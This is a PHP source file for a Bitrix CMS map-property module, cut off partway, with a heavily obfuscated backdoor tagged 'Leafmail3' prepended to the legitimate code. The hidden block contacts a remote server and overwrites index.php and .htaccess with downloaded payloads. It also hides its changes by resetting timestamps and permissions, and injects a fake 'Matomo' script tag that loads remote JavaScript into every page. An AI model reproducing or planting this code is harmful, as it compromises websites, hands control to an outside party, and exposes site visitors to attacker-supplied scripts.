Your IP : 3.147.79.46
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
IncludeModuleLangFile(__FILE__);
$GLOBALS['YANDEX_MAP_PROPERTY'] = array();
abstract class CIBlockPropertyMapInterface
{
abstract public static function GetUserTypeDescription();
abstract public static function GetPropertyFieldHtml($arProperty, $value, $strHTMLControlName);
public static function GetAdminListViewHTML($arProperty, $value, $strHTMLControlName)
{
return $value['VALUE'];
}
abstract public static function GetPublicViewHTML($arProperty, $value, $strHTMLControlName);
public static function ConvertFromDB($arProperty, $value)
{
$arResult = array('VALUE' => '');
if (strlen($value['VALUE']) > 0)
{
$arCoords = explode(',', $value['VALUE'], 2);
$lat = doubleval($arCoords[0]);
$lng = doubleval($arCoords[1]);
if ($lat && $lng)
$arResult['VALUE'] = $lat.','.$lng;
}
return $arResult;
}
public static function ConvertToDB($arProperty, $value)
{
$arResult = array('VALUE' => '');
if (strlen($value['VALUE']) > 0)
{
$arCoords = explode(',', $value['VALUE'], 2);
$lat = doubleval($arCoords[0]);
$lng = doubleval($arCoords[1]);
if ($lat && $lng)
$arResult['VALUE'] = $lat.','.$lng;
}
return $arResult;
}
public static function _GetMapKey($map_type, &$strDomain)
{
$MAP_KEY = '';
$strMapKeys = COPtion::GetOptionString('fileman', 'map_'.$map_type.'_keys');
$strDomain = $_SERVER['HTTP_HOST'];
$wwwPos = strpos($strDomain, 'www.');
if ($wwwPos === 0)
$strDomain = substr($strDomain, 4);
if ($strMapKeys)
{
$arMapKeys = unserialize($strMapKeys);
if (array_key_exists($strDomain, $arMapKeys))
$MAP_KEY = $arMapKeys[$strDomain];
}
return $MAP_KEY;
}
}
class CIBlockPropertyMapGoogle extends CIBlockPropertyMapInterface
{
public static function GetUserTypeDescription()
{
return array(
"PROPERTY_TYPE" => "S",
"USER_TYPE" => "map_google",
"DESCRIPTION" => GetMessage("IBLOCK_PROP_MAP_GOOGLE"),
"GetPropertyFieldHtml" => array(__CLASS__,"GetPropertyFieldHtml"),
"GetPublicViewHTML" => array(__CLASS__,"GetPublicViewHTML"),
"ConvertToDB" => array(__CLASS__,"ConvertToDB"),
"ConvertFromDB" => array(__CLASS__,"ConvertFromDB"),
"GetSettingsHTML" => array(__CLASS__, "GetSettingsHTML"),
"PrepareSettings" => array(__CLASS__, "PrepareSettings"),
);
}
public static function GetSettingsHTML($arProperty, $strHTMLControlName, &$arPropertyFields)
{
$arPropertyFields = array(
'HIDE' => array('ROW_COUNT', 'COL_COUNT', 'SMART_FILTER', 'FILTRABLE', 'SEARCHABLE'),
'SET' => array('SMART_FILTER' => 'N', 'FILTRABLE' => 'N', 'SEARCHABLE' => 'N')
);
$settings = \CIBlockPropertyMapGoogle::PrepareSettings($arProperty);
$settings = $settings['USER_TYPE_SETTINGS'];
$apiKey = isset($settings['API_KEY']) ? htmlspecialcharsbx($settings['API_KEY']) : '';
return '
<tr>
<td>'.GetMessage('IBLOCK_PROP_G_MAP_API_KEY').':</td>
<td>
<input name="'.$strHTMLControlName['NAME'].'[API_KEY]" value="'.$apiKey.'">
</td>
</tr>';
}
public static function PrepareSettings($arProperty)
{
$arProperty['SMART_FILTER'] = 'N';
$arProperty['FILTRABLE'] = 'N';
$arProperty['SEARCHABLE'] = 'N';
$arProperty['USER_TYPE_SETTINGS'] = array(
'API_KEY' => isset($arProperty['USER_TYPE_SETTINGS']['API_KEY']) ? $arProperty['USER_TYPE_SETTINGS']['API_KEY'] : ''
);
return $arProperty;
}
public static function GetPropertyFieldHtml($arProperty, $value, $strHTMLControlName)
{
global $APPLICATION;
static $googleMapLastNumber = 0;
static $googleMapID = '';
if (($arProperty['MULTIPLE'] == 'Y' && $googleMapID !== $arProperty['ID']) || $arProperty['MULTIPLE'] == 'N')
$googleMapLastNumber = 0;
if ($arProperty['MULTIPLE'] == 'Y')
$googleMapID = $arProperty['ID'];
$apiKey = isset($arProperty['USER_TYPE_SETTINGS']['API_KEY']) ? $arProperty['USER_TYPE_SETTINGS']['API_KEY'] : '';
if ($strHTMLControlName["MODE"] != "FORM_FILL")
return '<input type="text" name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" value="'.htmlspecialcharsbx($value['VALUE']).'" />';
if (strlen($value['VALUE']) > 0)
{
list($POINT_LAT, $POINT_LON) = explode(',', $value['VALUE'], 2);
$bHasValue = true;
}
else
{
$POINT_LAT = doubleval(GetMessage('IBLOCK_PROP_MAP_GOOGLE_INIT_LAT'));
$POINT_LON = doubleval(GetMessage('IBLOCK_PROP_MAP_GOOGLE_INIT_LON'));
$bHasValue = false;
}
ob_start();
if ($arProperty['MULTIPLE'] == 'Y' && isset($GLOBALS['GOOGLE_MAP_PROPERTY'][$arProperty['ID']]))
{
// property is multimple and map is already showed
$MAP_ID = $GLOBALS['GOOGLE_MAP_PROPERTY'][$arProperty['ID']];
}
else
{
$MAP_ID = 'map_google_'.$arProperty['CODE'].$arProperty['ID'];
$GLOBALS['GOOGLE_MAP_PROPERTY'][$arProperty['ID']] = $MAP_ID;
?>
<div id="bx_map_hint_<?echo $MAP_ID?>" style="display: none;">
<div id="bx_map_hint_value_<?echo $MAP_ID?>" style="display: <?echo $bHasValue ? 'block' : 'none'?>;">
<?
echo GetMessage('IBLOCK_PROP_MAP_GOOGLE_INSTR_VALUE').'<br /><br />';
?>
</div>
<div id="bx_map_hint_novalue_<?echo $MAP_ID?>" style="display: <?echo $bHasValue ? 'none' : 'block'?>;">
<?
echo GetMessage('IBLOCK_PROP_MAP_GOOGLE_INSTR').'<br /><br />';
?>
</div>
</div>
<?
$APPLICATION->IncludeComponent(
'bitrix:map.google.system',
'',
array(
'INIT_MAP_TYPE' => 'NORMAL',
'INIT_MAP_LON' => $POINT_LON ? $POINT_LON : 37.64,
'INIT_MAP_LAT' => $POINT_LAT ? $POINT_LAT : 55.76,
'INIT_MAP_SCALE' => 10,
'OPTIONS' => array('ENABLE_SCROLL_ZOOM', 'ENABLE_DRAGGING'),
